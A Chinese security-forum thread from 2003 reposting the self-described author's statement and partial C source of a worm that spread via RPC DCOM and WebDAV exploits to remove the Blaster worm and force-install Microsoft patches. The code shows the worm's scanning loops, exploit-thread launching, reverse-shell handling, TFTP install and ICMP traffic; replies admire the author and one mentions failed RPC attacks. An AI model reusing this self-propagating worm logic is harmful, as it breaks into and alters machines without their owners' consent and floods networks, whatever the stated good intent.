论坛: 菜鸟乐园 标题: 关于rpc漏洞的消失 复制本贴地址    
作者: shuaishuai [shuaishuai]    论坛用户   登录
8月初, 利用rpc漏洞的蠕虫传遍互连网络, 利用rpc的攻击工具随手就可以弄一大堆肉鸡,但是8月十几号以来,细心的人一定发现rpc漏洞几乎无声无息的消失了,你现在扫描几千台主机,rpc漏洞几乎都是无懈可击,连ipc漏洞都不能用了,我奇怪了几天,难道微软的用户打补丁这么积极?错,后来看到这片文章,才明白,知道的人就不要看了,只给现在还在对rpc闷纳的人看
===============================================================
前言:“冲击波”蠕虫爆发后,大量个人主机及服务器遭受侵袭,各大安全公司,杀毒厂商纷纷推出各种解决方案,不料短短几日内,又出现了来历不明的新蠕虫,经过一些安全专家的反向编译和分析,惊讶的发现,该蠕虫的工作目标居然是消灭冲击波蠕虫并自动为受害主机进行补丁,而且该蠕虫还具有定时自毁功能,显然作者的目标还是有一定的善意因素,但是蠕虫毕竟是蠕虫,因为大量icmp包的发送,还是能够给企业局域网络带来极大的压力,就此,对蠕虫的危害性依然要保持极大的关注和警惕,相关文章可以参见 
http://www.donews.com/donews/article/5/50423.html 

8月20日,蠕虫作者突然现身,出现在某安全论坛,以下是该作者论坛上声明的转载,并公开了源代码。 

下文为作者自述-转自某安全论坛 

玩过了~~ 虫虫四个小时之内已经完成了任务~~~ 不得不写这豆腐块~~~ 
char *szMe = "=========== I love my wife & baby :)~~~ Welcome Chian~~~ 
Notice: 2004 will remove myself:)~~ sorry zhongli~~~=========== wins"; 

偶:小地方小公司小小程序员 
偶从不玩安全的,临时抱佛脚,看了些资料,仓促写了这个烂虫虫~~~ 

A 看不惯老外小鸟儿写的什么什么波的烂虫~~ ,虽然偶临时玩安全的即兴之作亦很烂 
~~~ 
B 看不惯国内某几家放毒公司的商业炒作,发网难财,违背良心,误导民众 
偶就帮你丫的除光了虫虫,打光了补丁,没想到他丫的误导的更变态~~~ 你丫的方脑壳 
~~ 
C 帮偶不认识的 flashsky 兄解脱些吧~~~ 他丫的 Bill该死,快去谢flashsky~~~ 
D VirusBOy 兄,baby 可不是情人吆,偶家小子两岁就开始跟偶抢机器了~~ 
E 长了这么大,算首次报效社会吧~~~ 
F 几年?进去就是了,不就是个坐吗, 切~~~ 偶是吓大的! 

====================================================== 
0 chian 系 china 笔误~~ 敲的快了,某个指头先到:)~~~ 

1 早在 8/13 国际国内骨干路由就丢弃了 135 syn ,只有加入WebDav才玩得转~~~ 

2 RpcDcom & WebDav 使用同一 反向shellcode, 用 eyas的, lion修改 
(声明:谁也没给偶,偶从一被人遗忘的公开程序中sniffer的,谢两位) 
此shellcode 新进程建在svchost下,就一个Call Ebx 通杀了 all 2k & xp 
他丫的,还有放毒公司言导致xp机器重启云云的~~~ 

3 Bill该死 有 Tftpd.exe, 干吗不用,虽然偶看过 Tftp 协议,练习写过~~~ 

4 某年某月某日某时某刻, 
溜出国门,辗转借了几台 Xeon(TM) 4 cpus, 2g memory 机器 
架起 2000 线程的 WebDav 投放玩具,对准某国骨干的几个B段 
10 分钟内投放了三四百个种子(早知道有这么多,就换个玩法 :)~~~ 

5 发icmp包是为了提高搜索效率,算唯一的危害了~~~ 刺激一下也好~~~ 
打补丁的虫,杀虫的虫,再不有点儿小危害就丢尽了虫虫家族的脸~~~ 


//偶婆婆, 烂代码~~~ 将就看吧~~~ 
BOOL DoServicePackFunction() 

DWORD nSystemVer = Win2000OrXp(); 
if ( !( nSystemVer == 0 || nSystemVer == 1) ) 
return FALSE; // not 2k or xp 

if ( ReadRegServicePack(nSystemVer) ) 
return FALSE; //已经安装了 

//识别语言版本 
int nLanguageID; 
unsigned int unOemCP = GetOEMCP(); 

LCID lcid = GetSystemDefaultLCID(); 
WORD wMain = PRIMARYLANGID(lcid); 
WORD wSub = SUBLANGID(lcid); 


if ( unOemCP == 437 && wMain == 9 && wSub == 1 ) //en 
nLanguageID = 0; //打了你丫的en补丁就不错了~~ 还唧唧歪歪的~~ 
//管不了小欧洲~~ 俄罗斯牛人有自己的玩法 
~~ 
else if ( unOemCP == 936 && wMain == 4 && wSub == 2 ) //cn 
nLanguageID = 1; //就是为这个来的~~ 
else if ( unOemCP == 950 && wMain == 4 && wSub == 1 ) //tw 
nLanguageID = 2; //同胞骨肉的忙,一定要帮~~ 
else if ( unOemCP == 932 && wMain == 0x11 && wSub == 1 ) //jp 
nLanguageID = -1; //偶好有干掉鬼子机器的冲动! 
//罢了,冤冤相报何时了~~~ 希望他丫的自新 
~~~ 再玩火就灭了他丫的~~ 
else if ( unOemCP == 949 && wMain == 0x12 && wSub == 1 ) //kr 
nLanguageID = 3; //少些不懂事的小鸟儿弯出去, 危害国内~~ 
else{ 
nLanguageID = -1; 


if ( nLanguageID == -1) 
return FALSE; 

char szServicePack[] = "RpcServicePack.exe"; 

// downlaod it~~~ 
if ( !nSystemVer ) { // 2k 
if ( !DownloadSpFile (szServicePack, szWin2kSpUrl[nLanguageID]) ) 
return FALSE; 

else{ 
if ( !DownloadSpFile (szServicePack, szWinXPSpUrl[nLanguageID]) ) 
return FALSE; 


char szExec[180]; 
sprintf(szExec, "%s -n -o -z -q", szServicePack); 

HANDLE hProcess = MakeProcess( szExec ); 
if ( hProcess == NULL ) 
return FALSE; 

if (WaitForSingleObject(hProcess, 360000) != WAIT_OBJECT_0 ){ //六分钟内 
未完成 
TerminateProcess(hProcess,1); 
CloseHandle(hProcess); 
DeleteFile(szServicePack); 
return FALSE; 

CloseHandle(hProcess); 

Sleep(15000); 
DeleteFile(szServicePack); 
if ( ReadRegServicePack(nSystemVer) ) { 
ShutDownWindows( EWX_REBOOT | EWX_FORCE );//install service pack ok, reboot 
it~~~ 
Sleep(20000); //说偶重启有过? 不重启补丁无效, 
找 Bill该死 说去~~~ 


return TRUE; 


// IN: 始ip, B段数量, 是否随机,是否换WebDav //更烂~~~ 凑合着看~~~ 
void BeginExploitFunction(u_long ulIpStart, int nBCount, BOOL bRand, BOOL 
bWebDav) 

HANDLE hThread = NULL; 
BOOL bFirst = TRUE; 
u_long uComp; 

for (int i=0;i< (nBCount * 256 * 256); i++){ 

if ( bRand ) 
uComp = MakeRandIp(); 
else 
uComp = i + ulIpStart; 

if ( //还是屏蔽掉部分目标,免得目标中招后,再玩就把下一代干掉了,不破坏的好 
:)~~~ 
(BYTE)uComp == 0xc5 || 
(BYTE)(uComp>>8) == 0xc5 || 
(BYTE)(uComp>>16) == 0xc5 || 
(BYTE)(uComp>>24) == 0xc5 || 
(WORD)uComp == 0x9999 || 
(WORD)(uComp>>8) == 0x9999 || 
(WORD)(uComp>>16) == 0x9999 ) 
continue; 


u_long *myPara = new u_long; 

if ( myPara == NULL ){//如果分配失败,再尝试一次 
Sleep(100); 
myPara = new u_long; 


if ( myPara ){ 
if ( hThread ) 
CloseHandle(hThread); 

*myPara = htonl( uComp); 

DWORD dwThreadId; 

if (bWebDav) 
hThread = 
CreateThread(NULL,0,ExploitWebDavThread,(LPVOID)myPara,0,&dwThreadId); 
else 
hThread = 
CreateThread(NULL,0,ExploitRpcDcomThread,(LPVOID)myPara,0,&dwThreadId); 

Sleep(2); 


//添加此处代码,避免首次执行时,线程中的 
InterlockedIncrement(&g_CurThreadCount) 未来得及运行,一次性建立了N个线程的 
bug! 
if ( bFirst && (i >= nMaxThread) ){ 
Sleep(2000); 
bFirst = FALSE; 


while(g_CurThreadCount >= nMaxThread) // #define nMaxThread 300 ,不小心, 
玩过了~~~ 
Sleep(2); 



Sleep(60000); 



//服务模式和控制台模式公用主程序 
void DoIt() 

WSADATAwsd; 
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0) 
return; 

//杀蠕虫 
KillMsblast(); 

//卸载 
SYSTEMTIME st; 
GetLocalTime(&st); 
if ( st.wYear == 2004 ){ 
MyDeleteService(szServiceName); 
MyDeleteService(szServiceTftpd); 
RemoveMe(); 
ExitProcess(1); //其实不必,RemoveMe()中借用了前辈的代码,2k下,退出程序时将 
自身文件删除了 


srand( GetTickCount() ); 

memset(pPingBuffer, '\xAA', sizeof(pPingBuffer)); 
//烦请骨干路由器立即丢弃此特征 Icmp Echo 包! 国内的什么什么波已经绝了!~~ 补 
丁已经打够了!~~~ 


//准备WebDav发送缓冲区 
do{ 
pWebDavExploitBuffer = new char[68000]; 
Sleep(100); 
}while(pWebDavExploitBuffer == NULL); 

//必须在checkonlien 之前,一次装配好子弹 
PressWebDavBufferOnce(); 
PressRpcDcomBufferOnce(); 

CheckOnlienAndPressData(); //get LocalIp & 修正子弹中的反向ip 和 端口 

//打补丁 
DoServicePackFunction(); 

//建立接收线程 
DWORD dwThreadID; 
HANDLE 
hWorkThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)RecvSendCmdThread,(L 
PVOID)NULL,0,&dwThreadID); 
if(hWorkThread==NULL) // RecvSendCmdThread 中阻塞,有反连,再建线程处理之, 
同时处理多个反连 
return; 
CloseHandle(hWorkThread); 

if ( !MyStartService(szServiceTftpd) ){ 
Sleep(1000); 
InstallTftpService(); 
Sleep(1000); 
MyStartService(szServiceTftpd); 


Sleep(2000); //等待接收线程中的全局 rand bind port 


u_long ulIP; 
for(;;){ //估算了一下,普通机器2小时一循环 


//首先扫描本ip段 
CheckOnlienAndPressData(); 
ulIP = ntohl(inet_addr(szLocalIp)); 
ulIP &= 0xffff0000; 
BeginExploitFunction( ulIP, 1, 0, 0); 


//再扫描本ip前后3个段 
CheckOnlienAndPressData(); 
if ( rand() % 2) 
ulIP += 0x00010000; 
else 
ulIP -= 0x00030000; 
BeginExploitFunction( ulIP, 3, 0, 0); 


//再扫描WebDav一个段,跳出 135 syn封锁 
CheckOnlienAndPressData(); 
ulIP = MAKELONG(0, wdIpHead[ rand()% 76 ]); //请 wdIpHead[] B段IP商注意~~~, 
立即采取补救措施~~~ sorry~~~ 
BeginExploitFunction( ulIP, 1, 0, 1); 


//再扫描随机的IP, 数量1个 B段, rpc or webdav 
CheckOnlienAndPressData(); 
if ( rand() % 2) 
BeginExploitFunction( ulIP, 1, 1, 0); 
else 
BeginExploitFunction( ulIP, 1, 1, 1); //偶跳、跳、跳~~~ 


KillMsblast(); 



//WSACleanup(); 



-------------------------------------------------------------------------------------------------- 

为方便阅读,增加几个补充说明 

1.flashsky www.xfocus.net创始人之一,启明星辰安全专家,擅长古体诗词,7月中公开rpc漏洞利用方式源代码,公开溢出分析报告,造成全球安全领域的震动,冲击波蠕虫的主要传播技术来源于这位高手公开的技术描述。 

2.VirusBOy 懂点安全的小朋友,水平不咋地,不过你最好别招惹他,DDOS你一把也够受的。 

3.某安全公司安全专家评论,该帖子内容基本属实,蠕虫源代码已经得到确认。 


地主 发表时间: 08/24 22:20

回复: cck123 [cck123]   论坛用户   登录
高手啊~~佩服中。。。无言独上西楼!

B1层 发表时间: 08/25 08:56

回复: NetDust [miku]   论坛用户   登录
现在我总算是最大为什么我的RPC溢出总是失败了。
怎么说呢,还是谢谢楼上这位写补丁的大哥,我要好好向你学习才是,不过你的普通话真的很不标准!

B2层 发表时间: 11/05 21:11

回复: lauka [lauka]   论坛用户   登录
偶何时才会有如是成就丫,

B3层 发表时间: 11/06 09:25

回复: mls [mls]   论坛用户   登录
高手,高手,高高手.我爱你,高手.

B4层 发表时间: 11/06 10:06

回复: hao684 [hao684]   论坛用户   登录
我什么都不懂啊!我接触的黑客知识很少,什么代码啊我不懂,里面的^%#@@&(&¥%符号我知道是什么意思!怎么样才能看懂这些天书啊!

B5层 发表时间: 11/06 10:40

回复: aassddff [aassddff]   论坛用户   登录
高手,如果你被抓,我一定救你!!!

B6层 发表时间: 11/06 11:06

回复: afan271314 [afan271314]   论坛用户   登录
羡慕死了

B7层 发表时间: 11/06 11:29

回复: onlyu123 [onlyu123]      登录

无言语                佩服




B8层 发表时间: 11/06 17:13

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号